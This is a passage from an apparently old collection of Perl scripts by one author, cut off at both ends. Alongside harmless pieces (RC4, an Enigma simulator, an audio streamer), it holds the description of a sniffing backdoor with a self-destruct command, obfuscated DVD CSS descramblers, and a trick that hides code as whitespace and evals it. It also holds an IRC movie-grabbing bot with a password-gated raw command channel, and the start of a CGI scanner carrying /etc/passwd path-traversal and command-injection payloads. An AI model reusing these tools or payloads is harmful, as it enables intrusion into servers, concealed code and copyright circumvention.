2985data to port 7331 (which won't be open, but pdoor.pl
2986will see the packet anyways). You can connect to
2987pretty much any machine on the network, not just the one
2988which the backdoor running. This is because pdoor.pl
2989will try to sniff the entire network. It also contains
2990a self destruct feature (it will remove itself and then
2991die, practically untracable) when you do this:
2992GET / HTTP/2DIE
2993If you're using the pcl.pl, you only have to type:
2994DIE
2995
2996
2997-cp5
2998http://www.samy.pl/pdoor/
2999
3000#!/usr/bin/perl
3001
3002# server/daemon for netshow [mp3]
3003# by samy [CommPort5@LucidX.com]
3004
3005$port = 1337;
3006$dev = "/dev/dsp";
3007$mp3dir = "/mp3";
3008$kilobytes = 64;
3009$mp3first = 1;
3010
3011sub hashes {
3012 %set = (
3013 create => 'yes',
3014 exclusive => 'no',
3015 mode => 0644,
3016 destroy => 'yes',
3017 );
3018 %read = (
3019 create => 'no',
3020 exclusive => 'no',
3021 mode => 0644,
3022 destroy => 'no',
3023 );
3024 return (\%set, \%read);
3025}
3026($setx, $readx) = hashes();
3027%set = %$setx;
3028%read = %$readx;
3029tie my $kb, 'IPC::Shareable', 'kilobytes', { %set };
3030$kb = $kilobytes * 1024;
3031use IPC::Shareable;
3032print "Running server on port $port at $kilobytes kb per packet\n";
3033fork() && front($mp3first, $kb);
3034fork() && ipc($kilobytes);
3035sock($port, $mp3dir, $mp3first);
3036
3037sub front {
3038 $SIG{INT} = sub { close(DEV); die "exiting...\n"; };
3039 ($setx, $readx) = hashes();
3040 %set = %$setx;
3041 %read = %$readx;
3042 tie my $kb, 'IPC::Shareable', 'kilobytes', { %set };
3043 tie my $playmp, 'IPC::Shareable', 'micormp', { %set };
3044 $playmp = $_[0];
3045 $kb = $_[1];
3046 tie my $mp3, 'IPC::Shareable', 'mpeg', { %read };
3047 while (1) {
3048 chomp($tmpp = <STDIN>);
3049 s/^\s*//;
3050 if ($tmpp =~ /^help/) {
3051 print << "EOC";
3052
3053commands:
3054
3055status - status of stream
3056mic - switch to microphone
3057mp3 - switch to mp3s
3058exit - close daemon
3059kb [#] - view/change kbps
3060help - this help
3061
3062EOC
3063 }
3064 elsif ($tmpp =~ /^status/) {
3065 if ($playmp % 2 == 1) {
3066 print "status: MP3 playing ($mp3)\n";
3067 }
3068 else {
3069 print "status: microphone in use\n";
3070 }
3071 }
3072 elsif ($tmpp =~ /^kb\s*(\S*)/) {
3073 if ($1) {
3074 $kilobytes = $1;
3075 $kb = $kilobytes * 1024;
3076 }
3077 else {
3078 print "kilobytes: $kilobytes\n";
3079 }
3080 }
3081 elsif ($tmpp =~ /^exit/) {
3082 close(DEV);
3083 die "exiting...\n";
3084 }
3085 elsif ($tmpp =~ /^mic/) {
3086 if ($playmp % 2 == 1) {
3087 $playmp++;
3088 print "Changing audio input to microphone...\n";
3089 }
3090 else {
3091 print "Microphone already in use.\n";
3092 }
3093 }
3094 elsif ($tmpp =~ /^mp3/) {
3095 if ($playmp % 2 == 1) {
3096 print "MP3 already playing.\n";
3097 }
3098 else {
3099 print "Changing audio input to MP3...\n";
3100 $playmp++;
3101 }
3102 }
3103 elsif ($tmpp !~ /^$/) {
3104 print "Invalid command...type 'help' for help.\n";
3105 }
3106 }
3107}
3108
3109sub sock {
3110 ($setx, $readx) = hashes();
3111 %set = %$setx;
3112 %read = %$readx;
3113 ($port, $mp3dir, $playmp3) = @_;
3114 tie my $kb, 'IPC::Shareable', 'kilobytes', { %read };
3115 tie my $mp3, 'IPC::Shareable', 'mpeg', { %set };
3116 opendir(MPEG, $mp3dir);
3117 @mp3s = grep { /^[^\.]/ } readdir(MPEG);
3118 closedir(MPEG);
3119 use IO::Socket;
3120 $con = IO::Socket::INET->new(
3121 LocalPort => $port,
3122 Listen => 5,
3123 Reuse => 1,
3124 );
3125 $con->autoflush(1);
3126 tie my $tmmp, 'IPC::Shareable', 'micormp', { %read };
3127 while ($sock = $con->accept) {
3128 $peerhost = $sock->peerhost();
3129 print "$peerhost connected\n";
3130 $child = fork();
3131 unless ($child) {
3132 $con->close;
3133 while ($sock) {
3134 $mp3 = $mp3s[int(rand(@mp3s))];
3135 if ($playmp3 % 2 == 1) {
3136 print $sock "HTTP/1.0 200 OK\n";
3137 print $sock "Content-Type: audio/x-mp3stream\n";
3138 print $sock "Cache-Control: no-cache\n";
3139 print $sock "Pragma: no-cache\n";
3140 print $sock "Connection: close\n";
3141 print $sock "x-audiocast-name: CommPort5 owns youz0r!\n\n";
3142 open(MPEG, "lame -b 32 --resample 44.1 $mp3dir/$mp3 - 2>> /dev/null |");
3143 while (sysread(MPEG, $au, 32 * 1024)) {
3144 print $sock $au;
3145 if ($tmmp % 2 != $playmp3 % 2) {
3146 $playmp3++;
3147 last;
3148 }
3149 }
3150 close(MPEG);
3151 }
3152 else {
3153 print $sock "HTTP/1.0 200 OK\n";
3154 print $sock "Content-Type: audio/x-mp3stream\n";
3155 print $sock "Cache-Control: no-cache\n";
3156 print $sock "Pragma: no-cache\n";
3157 print $sock "Connection: close\n";
3158 print $sock "x-audiocast-name: CommPort5 owns you!\n\n";
3159 while ( tie $aud, 'IPC::Shareable', 'audio', { %read }){
3160 print $sock $aud;
3161 if ($tmmp % 2 != $playmp3 % 2) {
3162 $playmp3++;
3163 last;
3164 }
3165 }
3166 }
3167 }
3168 exit 0;
3169 }
3170 }
3171}
3172
3173sub ipc {
3174 ($kb) = @_;
3175 ($setx, $readx) = hashes();
3176 %set = %$setx;
3177 %read = %$readx;
3178 open(DEV, "sox -w -t ossdsp $dev -t wav - speed 0.5 2>>/dev/null | lame -b 32 --resample 44.1 - - 2>> /dev/null|") or die
3179"Can't open sox/lame: $!\n";
3180 while (tie $aud, 'IPC::Shareable', 'audio', { %set }) {
3181 sysread(DEV, $aud, 32 * 1024);
3182 }
3183}
3184
3185
3186#!/usr/bin/perl
3187
3188# RC4 in 146 bytes of code
3189#
3190# usage: echo 'plain text' | rc4.pl hexkey > encrypted.file
3191# or
3192# cat /path/to/file | rc4.pl hexkey > encrypted.file
3193# e.g., echo testing | rc4.pl a0b1c2d3
3194#
3195# decrypting goes the same way
3196# e.g., cat encrypted.file | rc4.pl a0b1c2d3 > decrypted.file
3197#
3198# -samy [cp5@LucidX.com]
3199
3200sub f{@s[$x,$y]=@s[($y+=$s[$x])%=@s,$x];$s[$x++]+$s[$y]-@s}@k=pop=~/../g;f$y+=hex$k[$x%@k]for@s=0..255;$x=1;$y=0;$/=\1;print$_^chr$s[f$x%=@s]for<>
3201
3202
3203#!/usr/bin/perl
3204
3205# 1st place in toorcon password challenge
3206# challenge was to create a program or algorithm that generates a password
3207# for a user that's difficult for people to crack or brute force but is easy
3208# for the user to remember (takes a word as a command line arguement and randomly
3209# modifies it with a simple algorithm)
3210# i shortened and obfuscated it just to be cool :)
3211# -cp5
3212
3213s''%{uc c}=(a,4,b,6,e,3,i,1,l,1,t,7);for(keys%{uc c}){C{uc}=C{_};C{C{_}}=_}
3214for(0..Z2){myB;for(split//,ARGV[0]){_=C{_}ifC{_}&&int Z2;B.=_}Z2?D.=reverseB:D.=B}
3215print"D\n"';s/Z/rand /g;s/[A-D_]/\$$&/g;eval
3216
3217# cp5 crypt functions
3218
3219# create an encrypted password
3220sub mkpasswd {
3221 $what = $_[0];
3222 $salt = chr(65+rand(27)).chr(65+rand(27));
3223 $salt =~ s/\W/x/g;
3224 return crypt($what, $salt);
3225}
3226
3227# check an encrypted password with a non-encrypted one
3228sub ckpasswd {
3229 ($plain, $encrypted) = @_;
3230 if (!$encrypted) {
3231 ($plain, $encrypted) = split(/\s+/, $plain, 2);
3232 }
3233 return '' unless ($plain && $encrypted);
3234 if ($encrypted =~ /^\$\d\$(\w\w)\$/) {
3235 $salt = $1;
3236 }
3237 else {
3238 $salt = substr($encrypted, 0, 2);
3239 }
3240 return ($encrypted eq crypt($plain, $salt));
3241}
3242
32431;
3244#!/usr/bin/perl
3245
3246# MPEG 2 PS VOB file on stdin -> descrambled output on stdout
3247# arguments: title key bytes in least to most-significant order
3248
3249# perl -I xx:xx:xx:xx:xx cp5qrpff-fast.pl < file.vob | extract_mpeg2 | mpeg2dec
3250# where xx:xx:xx:xx:xx is the title key
3251
3252s''while(read+STDIN,_,2048){Q=29;O=73;J=142;P=255;@t=map{_%16orP^=J^=(Y
3253=(11,10,116,100,11,122,20,100)[_/16%8])&110;P^=(72,@z=(64,72,Q^=12*(_%
325416-2?0:Y&17)),O^=_%64?12:0,@z)[_%8]}(16..271);if((@a=unx"C*",_)[20]&48){
3255X=5;_=unxb24,join"",@b=map{xB8,unxb8,chr(_^$a[--X+84])}@ARGV;s/...$/1$&/;
3256K=unxV,xb25,_;L=256|(ord$b[4])<<9|ord$b[3];K=K>>8^(M=P&(K>>12^K>>4^K^K/8
3257))<<17,L=L>>8^(P&(W=(Z=L>>14&7^L)^Z*8^Z<<6))<<9,_=$t[_]^((X>>=8)+=M+(~W&P
3258))for@a[128..$#a]}print+x"C*",@a}';s/x/pack+/g;s/[O-QJ-MW-Z_]/\$$&/g;eval
3259
3260
3261#!/usr/bin/perl
3262
3263# MPEG 2 PS VOB file on stdin -> descrambled output on stdout
3264# arguments: title key bytes in least to most-significant order
3265
3266s''while(read+STDIN,_,2048){P=29;J=142;if((@a=unx"C*",_)[20]&48){M=5;_=
3267unxb24,join"",@b=map{xB8,unxb8,chr(_^$a[--M+84])}@ARGV;s/...$/1$&/;X=unx
3268V,xb25,_;Q=73;Y=256|(ord$b[4])<<9|ord$b[3];X=X>>8^(K=(Z=255)&(X>>12^X>>
32694^X^X/8))<<17,Y=Y>>8^(Z&(L=(W=Y>>14&7^Y)^W*8^W<<6))<<9,_=(map{_%16orZ^=J
3270^=(O=(11,10,116,100,11,122,20,100)[_/16%8])&110;Z^=(72,@z=(64,72,P^=12*
3271(_%16-2?0:O&17)),Q^=_%64?12:0,@z)[_%8]}(16..271))[_]^((M>>=8)+=K+(~L&Z)
3272)for@a[128..$#a]}print+x"C*",@a}';s/x/pack+/g;s/[W-ZJ-MO-Q_]/\$$&/g;eval
3273
3274
3275#!/usr/bin/perl
3276
3277# 3 rotor German Enigma simulation
3278# by samy [CommPort5@LucidX.com]
3279
3280@rotors = (
3281 [ split(//, "ABCDEFGHIJKLMNOPQRSTUVWXYZ") ],
3282 [ split(//, "EKMFLGDQVZNTOWYHXUSPAIBRCJ") ],
3283 [ split(//, "AJDKSIRUXBLHWTMCQGZNPYFVOE") ],
3284 [ split(//, "BDFHJLCPRTXVZNYEIWGAKMUSQO") ],
3285 [ split(//, "ESOVPZJAYQUIRHXLNFTGKDCMWB") ],
3286 [ split(//, "VZBRGITYUPSDNHLXAWMJQOFECK") ]
3287);
3288@ref = split(//, "YRUHQSLDPXNGOKMIEBFZCWVJAT");
3289$flag = 0;
3290$n = 0;
3291@order = (3, 1, 2);
3292@notch = (ints('Q'), ints('E'), ints('V'), ints('J'), ints('Z'));
3293@rings = (ints('W'), ints('X'), ints('T'));
3294@pos = (ints('A'), ints('W'), ints('E'));
3295@plug = (ints('A'), ints('M'), ints('T'), ints('E'));
3296
3297sub ints {
3298 return unpack("C*", $_[0]);
3299}
3300
3301while (<STDIN>) {
3302 if ($_ !~ /^\s*\n$/) {
3303 chomp($tmp = $_);
3304 foreach (split(//, $tmp)) {
3305 $ch = uc($_);
3306 if ($ch !~ /^\w+$/) {
3307 next;
3308 }
3309 $pos[0]++;
3310 if ($pos[0] > ints 'Z') {
3311 $pos[0] -= 26;
3312 }
3313 if ($flag) {
3314 $pos[1]++;
3315 if ($pos[1] > ints 'Z') {
3316 $pos[1] -= 26;
3317 }
3318 $pos[2]++;
3319 if ($pos[2] > ints 'Z') {
3320 $pos[2] -= 26;
3321 }
3322 $flag = 0;
3323 }
3324 if ($pos[0] eq $notch[$order[0] - 1]) {
3325 $pos[1]++;
3326 if ($pos[1] > ints 'Z') {
3327 $pos[1] -= 26;
3328 }
3329 if ($pos[1] eq $notch[$order[1] - 1]) {
3330 $flag = 1;
3331 }
3332 }
3333 for ($i = 0; $plug[$i]; $i += 2) {
3334 if ($ch eq $plug[$i]) {
3335 $ch = $plug[$i + 1];
3336 }
3337 elsif ($ch eq $plug[$i + 1]) {
3338 $ch = $plug[$i];
3339 }
3340 }
3341 for ($i = 0; $i < 3; $i++) {
3342 $ch += $pos[$i] - ints 'A';
3343 if ($ch > ints 'Z') {
3344 $ch -= 26;
3345 }
3346 $ch -= $rings[$i] - ints 'A';
3347 if ($ch < ints 'A') {
3348 $ch += 26;
3349 }
3350 $ch = $rotor[$order[$i] - 1][$ch - ints 'A'];
3351 $ch += $rings[$i] - ints 'A';
3352 if ($ch > ints 'Z') {
3353 $ch -= 26;
3354 }
3355 $ch -= $pos[$i] - ints 'A';
3356 if ($ch < ints 'A') {
3357 $ch += 26;
3358 }
3359 }
3360 $ch = $reg[$ch - ints 'A'];
3361 for ($i = 3; $i; $i--) {
3362 $ch += $pos[$i - 1] - ints 'A';
3363 if ($ch > ints 'Z') {
3364 $ch -= 26;
3365 }
3366 $ch -= $rings[$i - 1] - ints 'A';
3367 if ($ch < ints 'A') {
3368 $ch += 26;
3369 }
3370 for ($j = 0; $j < 26; $j++) {
3371 if ($rotor[$order[$i - 1] - 1][$j] eq $ch) {
3372 last;
3373 }
3374 }
3375 $ch = $j + ints 'A';
3376 $ch += $rings[$i - 1] - ints 'A';
3377 if ($ch > ints 'Z') {
3378 $ch -= 26;
3379 }
3380 $ch -= $pos[$i - 1] - ints 'A';
3381 if ($ch < ints 'A') {
3382 $ch += 26;
3383 }
3384 }
3385 for ($i = 0; $plug[$i]; $i += 2) {
3386 if ($ch eq $plug[$i]) {
3387 $ch = $plug[$i + 1];
3388 }
3389 elsif ($ch eq $plug[$i + 1]) {
3390 $ch = $plug[$i];
3391 }
3392 }
3393 $n++;
3394 print pack("C*", $ch);
3395 if ($n % 5 == 0) {
3396 if ($n % 55 == 0) {
3397 print "\n";
3398 }
3399 else {
3400 print " ";
3401 }
3402 }
3403 }
3404 }
3405}
3406
3407
3408-Samy Kamkar
3409
3410
3411Encodes perl code (from file: code) and outputs 'nothing':
3412
3413 perl -ne 'for(split//){print"\t"x(ord()/50)." "x(ord()%50)."\n"}' code > new
3414
3415re-golfed 10/26/04:
3416 perl -nle'print"\t"x(ord()/50).$"x(ord()%50)for/(.)/g' code > new
3417
3418
3419Decodes 'nothing' (from file: new) and evaluates it:
3420 perl -e 'open_;$f.=chr s/ //g+s/\t//g*50while<>;eval$f' new
3421
3422
3423Example:
3424
3425bash# cat code
3426print "yo\n";
3427bash# perl -ne 'for(split//){print"\t"x(ord()/50)." "x(ord()%50)."\n"}' code > new
3428bash# cat new
3429
3430
3431
3432
3433
3434
3435
3436
3437
3438
3439
3440
3441
3442bash# perl -e 'open_;$f.=chr s/ //g+s/\t//g*50while<>;eval$f' new
3443yo
3444bash#
3445
3446
3447#!/usr/bin/perl
3448
3449use Socket;
3450die "usage: $0 <irc server[:port]> <nick> <channel> <'movie'>\n" unless @ARGV == 4;
3451
3452use strict;
3453my $timeout = 30; # 30
3454my $maxbytes = 1; # 4096
3455my $nickserv = 1;
3456my $debug = 1;
3457my $server = shift;
3458my $botnick = shift;
3459my $channel = "#" . shift;
3460my $movie = shift;
3461my $password = "hax0rm3";
3462my $nickservp = "h4wh4wh4w";
3463my $port = 6667;
3464my %nicks = ();
3465my $fork;
3466$port = $1 if $server =~ s/:(.*)$//;
3467($fork = fork()) && die "$0: bot active on process $fork\n" unless $debug;
3468
3469while (1) {
3470 socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname("tcp")) || die "Cannot create socket\n";
3471 connect(SOCK, sockaddr_in($port, inet_aton($server))) || die "Unable to connect\n";
3472 select(SOCK);
3473 $| = 1;
3474 select(STDOUT);
3475
3476 print SOCK "USER $botnick $botnick $botnick :h4w h4w h4w\n";
3477 print SOCK "NICK $botnick\n";
3478 sleep 2;
3479 print SOCK "NICKSERV IDENTIFY $nickservp\n" if $nickserv;
3480
3481 while (<SOCK>) {
3482 print if /^ERROR\s+/;
3483
3484 if (/^PING(.*)$/) {
3485 print SOCK "PONG$1\n";
3486 next;
3487 }
3488
3489 my ($rnick, $rwhat, $rwhere, $rdata) = $_ =~ /^:(\S+)\s+(\S+)\s+(\S+)\s+:?(.*)$/;
3490 $rnick =~ s/\!([^@]+)\@(.*)$//;
3491 my ($rident, $rhost) = ($1, $2);
3492 $rdata =~ s/\x03\d\d?//g; # strip all colors out
3493 $rdata =~ s/[^\x20-\x7e]//g; # strip all lame characters out
3494 if ($rwhat eq "002") {
3495 print SOCK "JOIN $channel\n";
3496 }
3497
3498 elsif ($rwhat eq "366") {
3499 print "$channel: joined - searching for `$movie`\n" if $debug;
3500 print SOCK "PRIVMSG $channel :\@find $movie\n";
3501 }
3502
3503 elsif ($rwhat eq "PRIVMSG") {
3504 if ($rdata =~ /^\caPING\s+(.*)$/) {
3505 print SOCK "NOTICE $rnick :\caPING $1\n";
3506 }
3507
3508 elsif ($rwhere !~ /^#/) { # private messages
3509 if ($rdata =~ /^pass $password (.*)$/i) {
3510 print SOCK "$1\n";
3511 }
3512 elsif ($rdata =~ /^die $password/i) {
3513 close(SOCK);
3514 exit;
3515 }
3516 elsif ($rdata =~ /Trigger:\s*\/ctcp\s+(\S+)\s+(.*?)\] /) {
3517 $nicks{$1}[0] = $2;
3518 print "$rnick: recieved trigger\n" if $debug == 2;
3519 }
3520 elsif ($rdata =~ /Filename:\s*(.*?)\] (?:\s*\[Directory:\s*(.*?)\] )?/) {
3521 $nicks{$rnick}[2] = $1;
3522 $nicks{$rnick}[1] = $2;
3523 $nicks{$rnick}[1] =~ s/^Drive\s*\d*[\\\/]//i;
3524 $nicks{$rnick}[1] =~ s/^Root Dir[\\\/]//i;
3525 print SOCK "PRIVMSG $rnick :\cA$nicks{$rnick}[0]\cA\n";
3526 print "$rnick: sending DCC chat request\n" if $debug == 2;
3527 sleep 2; # to avoid server flood protection
3528 }
3529 elsif ($rdata =~ /^DCC\s+CHAT\s+chat\s+(\S+)\s+(\S+)/i) {
3530 fork() || &dccchat($1, $2, $nicks{$rnick}[1], $nicks{$rnick}[2], $rnick);
3531 }
3532 elsif ($rdata =~ /^DCC\s+SEND\s+(.*)\s+(\S+)\s+(\S+)\s+(\S+)\s*$/i) {
3533 $nicks{$rnick}[3] = $2;
3534 $nicks{$rnick}[4] = $4;
3535 $nicks{$rnick}[5] = $1;
3536 &dcccheck(\*SOCK, $1, $2, $3, $4, $rnick)
3537 }
3538 elsif ($rdata =~ /^DCC\s+ACCEPT\s+(.*)\s+(\S+)\s+(\S+)\s*$/i) {
3539 fork() || &dccsend($nicks{$rnick}[5], $nicks{$rnick}[3], $2, $nicks{$rnick}[4], $rnick, $3);
3540 }
3541 }
3542 }
3543 }
3544}
3545
3546sub dccchat {
3547 my ($ip, $port, $dir, $movie, $nick) = @_;
3548 socket(DCCSOCK, PF_INET, SOCK_STREAM, getprotobyname("tcp")) || die "Cannot create socket\n";
3549 connect(DCCSOCK, sockaddr_in($port, pack("N", $ip))) || die "Unable to connect\n";
3550 select(DCCSOCK);
3551 $| = 1;
3552 select(STDOUT);
3553 print "$nick: DCC chat accepted\n" if $debug;
3554 sleep 2;
3555 print DCCSOCK "cd $dir\n" if $dir;
3556 print DCCSOCK "get $movie\n";
3557 while (<DCCSOCK>) {
3558 if (/Sorry/) {
3559 sleep 20;
3560 print DCCSOCK "get $movie\n";
3561 }
3562 elsif (/Now sending|Inserting you in/) {
3563 last;
3564 }
3565 elsif (/Invalid file/) {
3566 print "$nick: `$movie` not found - disconnecting\n" if $debug;
3567 exit;
3568 }
3569 }
3570 exit;
3571}
3572
3573sub dcccheck {
3574 my ($sock, $movie, $ip, $port, $size, $nick) = @_;
3575
3576 my $omovie = $movie;
3577 my $num = 0;
3578 if (-e $movie && -e "$movie.lock") {
3579 do { $num++ } while (-e "$movie.$num" && -e "$movie.lock");
3580 }
3581 $movie .= ".$num" if $num;
3582
3583 open(MLOCK, ">$movie.lock");
3584 close(MLOCK);
3585 my $trans = (stat($movie))[7];
3586
3587 if ($trans >= $size) {
3588 print "$nick: exiting - `$movie`s size is already $trans - downloadable file is $size\n";
3589 unlink("$movie.lock");
3590 return ();
3591 }
3592 elsif ($trans) {
3593 print "$nick: resuming `$movie` from $trans ($size bytes total)\n";
3594 print $sock "PRIVMSG $nick :\cADCC RESUME $omovie $port $trans\cA\n";
3595 unlink("$movie.lock");
3596 return ($trans);
3597 }
3598 else {
3599 print "$nick: downloading `$movie` ($size bytes)\n" if $debug;
3600 fork || &dccsend($movie, $ip, $port, $size, $nick, $trans);
3601 }
3602 return ();
3603}
3604
3605sub dccsend {
3606 my ($movie, $ip, $port, $size, $nick, $trans) = @_;
3607 socket(DCCSOCK, PF_INET, SOCK_STREAM, getprotobyname("tcp")) || die "Cannot create socket\n";
3608 connect(DCCSOCK, sockaddr_in($port, pack("N", $ip))) || die "Unable to connect\n";
3609 my $old = select(DCCSOCK);
3610 $| = 1;
3611 select($old);
3612 if ($trans) {
3613 open(MLOCK, ">$movie.lock");
3614 close(MLOCK);
3615 }
3616
3617 open(MOVIE, ">>$movie") || die "Can't open $movie for writing: $!\n";
3618
3619 my ($data, $bytes);
3620 while (($bytes, $data) = &getdata(\*DCCSOCK, $maxbytes)) {
3621sleep 1;
3622 if ($bytes) {
3623 $trans += $bytes;
3624 print MOVIE $data;
3625 last unless &senddata(\*DCCSOCK, pack("N", $trans));
3626 }
3627 else {
3628 print "$nick: disconnected from filesend - $trans/$size bytes recieved\n" if $debug;
3629 open(TEXT, ">>movies.txt");
3630 print TEXT "$movie :: $trans/$size\n";
3631 close(TEXT);
3632 close(MOVIE);
3633 unlink("$movie.lock");
3634 exit;
3635 }
3636
3637 last if $trans == $size;
3638 }
3639
3640 close(MOVIE);
3641 unlink("$movie.lock");
3642
3643 open(TEXT, ">>movies.txt");
3644 print TEXT "$movie :: $trans/$size\n";
3645 close(TEXT);
3646
3647 if ($trans != $size) {
3648 print "$nick: disconnected from filesend - $trans/$size bytes recieved\n" if $debug;
3649 }
3650 else {
3651 print "$nick: recieved `$movie` - $trans/$size bytes recieved\n" if $debug;
3652 }
3653 exit;
3654}
3655
3656sub getdata {
3657 my ($sock, $bytes) = @_;
3658 my ($tbytes, $data);
3659 eval {
3660 local $SIG{"ALRM"} = sub { die };
3661 alarm $timeout;
3662 $tbytes = sysread($sock, $data, $bytes);
3663 alarm 0;
3664 };
3665
3666 if ($@) {
3667 return ();
3668 }
3669
3670 return ($tbytes, $data);
3671}
3672
3673sub senddata {
3674 my ($sock, $data) = @_;
3675 my ($bytes);
3676 eval {
3677 local $SIG{"ALRM"} = sub { die };
3678 alarm $timeout;
3679 $bytes = syswrite($sock, $data);
3680 alarm 0;
3681 };
3682
3683 if ($@) {
3684 return ();
3685 }
3686
3687 return ($bytes);
3688}
3689
3690
3691#!/usr/bin/perl
3692
3693# recursively suck mp3s from apache-type directory structures
3694# v0.21 - [3/4/02]
3695#
3696# this will only go deeper into directory structures but will
3697# never go higher than where it's at, for example:
3698# > mp3get blah.com/x/
3699# mp3get will suck all .mp3's in /x/ and recursively go into
3700# all dirs in blah.com/x/ looking for more mp3s, locally
3701# creating the dirs with mp3s in them but it will NEVER go
3702# down to ../ (blah.com/) even if there are direct links to
3703# it or just a link to "/" so you never end up wasting time
3704# like wget makes you :)
3705#
3706# also it doesn't waste time getting images or anything, only
3707# dirs and mp3s (and .ogg's)
3708#
3709# -samy [cp5@LucidX.com]
3710
3711my @requests = ( # when you get mp3s/dirs, the user agent
3712 # will be randomly chosen from this array
3713 "User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95)",
3714 "User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)",
3715);
3716
3717
3718die "usage: $0 [-d (debugging)] <url1> [url2] [url3]..\n" if @ARGV == 0;
3719
3720my $debug;
3721if ($ARGV[0] eq "-d") {
3722 shift(@ARGV);
3723 $debug = 1;
3724 print STDERR "<Debugging Mode Enabled>\n\n";
3725}
3726my $urls = @ARGV;
3727my $cur;
3728my $os;
3729if ($^O =~ /Win32/i) {
3730 $os = "> NUL 2> NUL";
3731}
3732else {
3733 $os = "> /dev/null 2> /dev/null";
3734}
3735$os = " " if $debug;
3736
3737$SIG{INT} = sub {
3738 unlink($cur) if $cur;
3739 close(CUR);
3740 die "\nExiting...\n";
3741};
3742
3743use IO::Socket;
3744
3745my @urls;
3746for (my $i = 0; $i < $urls; $i++) {
3747 ($urls[$i][0], $urls[$i][1], $urls[$i][2]) = $ARGV[$i] =~ /^(?:http:\/\/)?([^\/:]+)(?::(\d+))?(\/.*)?$/i;
3748 $urls[$i][1] = 80 if !$urls[$i][1];
3749 $urls[$i][2] .= "/" if (!$urls[$i][2] || $urls[$i][2] !~ /\/$/);
3750 ($urls[$i][3]) = $urls[$i][2] =~ /\/([^\/]*)\/?$/;
3751}
3752
3753for ($i = 0; $i < $urls; $i++) {
3754 &recur(@{$urls[$i]});
3755}
3756
3757sub recur {
3758 my @addr = @_;
3759 my $sock = IO::Socket::INET->new(
3760 PeerAddr => $addr[0],
3761 PeerPort => $addr[1],
3762 Timeout => 5,
3763 Proto => "tcp",
3764 ) or print STDERR "Can't connect to http://$addr[0]:$addr[1]...moving on\n";
3765 if ($sock) {
3766 $addr[2] =~ s/&/&/g;
3767 print $sock "GET $addr[2] HTTP/1.0\nHost: $addr[0]\nAccept: */*\n"
3768 . $requests[int(rand(@requests))] . "\n\n";
3769 my $httpResponse = join('', <$sock>);
3770 close($sock);
3771 my (@mp3s, @dirs);
3772 print "Scanning http://$addr[0]:$addr[1]$addr[2]\n";
3773 while ($httpResponse =~ s/<a\s+href\s*=\s*(?:"([^"]*)"|'([^']*)'|`([^`]*)`|(\S*))//is) {
3774 my $tmp = $1;
3775 if ($tmp =~ /\.ogg|\.mp3|\.m3u$/i) {
3776 push(@mp3s, $tmp);
3777 }
3778 elsif ($tmp =~ /\/$/ && $tmp !~ /^http:\/\/|^\.|^\/|\?/i) {
3779 push(@dirs, $tmp);
3780 }
3781 }
3782 if (@mp3s) {
3783 my $temp = $addr[3];
3784 $addr[3] =~ s/%(.{2})/pack("H2", $1)/eg;
3785 $addr[3] =~ s/[\?\*:<>|"\\]//g;
3786 $addr[3] =~ s/\/?$/\//;
3787 &mkd($addr[3]) unless $addr[3] eq "1";
3788 $addr[3] =~ s/&/&/g;
3789 foreach (@mp3s) {
3790 s/&/&/g;
3791 s/"/\\"/g;
3792 my $mp3 = $_;
3793 $mp3 =~ s/%(.{2})/pack("H2", $1)/eg;
3794 $mp3 =~ s/[\?\*:<>|"\/\\]//g;
3795 next if -e $addr[3] . $mp3;
3796 unlink($addr[3] . $_) if -e $addr[3] . $_;
3797 print " Getting $addr[3]$mp3\n";
3798 if ($^O !~ /Win32/i) {
3799 print " http://$addr[0]:$addr[1]$addr[2]$_\n";
3800 }
3801 $cur = $addr[3] . $_;
3802 open(CUR, "wget \"--directory-prefix=$addr[3]\" \"http://$addr[0]:$addr[1]$addr[2]$_\" --user-agent=\""
3803 . $requests[int(rand(@requests))] . "\" --execute=robots=off $os |");
3804 while (<CUR>) { }
3805 $cur = "";
3806 rename($addr[3] . $_, $addr[3] . $mp3);
3807 }
3808 }
3809 foreach (@dirs) {
3810 my @tmp = @addr;
3811 $tmp[2] =~ s/\/?$/\/$_/;
3812 $tmp[3] =~ s/\/?$/\/$_/;
3813 &recur(@tmp);
3814 }
3815 }
3816}
3817
3818sub mkd {
3819 my $dr = $_[0];
3820 if (!-e $dr && $dr ne "") {
3821 my $t = $dr =~ s/[^\/]*\/$//;
3822 &mkd($t);
3823 mkdir($dr, "755");
3824 print "MKDIR $dr\n" if $debug;
3825 }
3826}
3827
3828
3829#!/usr/bin/perl
3830
3831#######################################################
3832#
3833# crawl5b.pl - by Samy Kamkar [CommPort5@LucidX.com]
3834# This version includes a status line when not in
3835# verbose mode and a few others small things
3836#
3837# Updated September 14th
3838#
3839# crawl5b.pl
3840# crawls a machine (over http) for all links and forms
3841# and attempts to find CGIs on the machine with bugs
3842# (exploitable to reading any file on the system)
3843#
3844# my algorithm can be found at:
3845# http://cp5.LucidX.com/5balgo1.html
3846# and other algorithms along with similar programs can
3847# be found at http://cp5.LucidX.com
3848#
3849# developed specifically for challenge 5B of Caezar's Challenge
3850# check out http://www.caezarschallenge.org (Caezar++)
3851#
3852
3853$statusbar = 1;
3854 # a status-bar to show how many pages, CGIs, and bugs were found
3855
3856$dats = 1;
3857 # 1 to exclude the second algorithm (doesn't check for foo|perl -e...)
3858 # speeds up scan twice as fast and checks for only the more common bug
3859 # set to 2 to include the second aglorithm ($dat2)
3860
3861$dat1 = "../" x 20 . "etc/passwd"; # ../../../../etc/passwd
3862$dat2 = 'foo|perl -e \'print"roo";print"t:"\'&&foo'; # may want to add a foo; at the beginning
3863
3864$first = "img|a|body|area|frame|meta"; # tags right after a '<'
3865$second = "src|href|background|target"; # options in any of the tags in $first
3866@ignore = ( # file extensions that will not be an HTML or CGI
3867 "gif", "jpg", "jpeg", "bmp", "psp", "mov", "txt", "ram", "wmv", "pdf",
3868 "doc", "xls", "rm", "gz", "tar", "zip", "png", "mpg", "mpeg", "mp3",
3869);
3870
3871#
3872#######################################################
3873
3874$SIG{INT} = sub { die "\n" };
3875
3876use IO::Socket;
3877
3878unless (@ARGV == 1 || @ARGV == 2) {
3879 die "usage: $0 <http://host[/start/page]> [-v (for verbose)]\n";
3880}
3881
3882sub colored { return $_[0] }
3883eval("use Term::ANSIColor");
3884
3885$bugsa = 0;
3886$cgisa = 0;
3887$pagesa = 0;
3888
3889while ($dat1 =~ s/(.)//) {
3890 $tmp = $1;
3891 if ($tmp =~ /[\W[^\.\/]]/) {
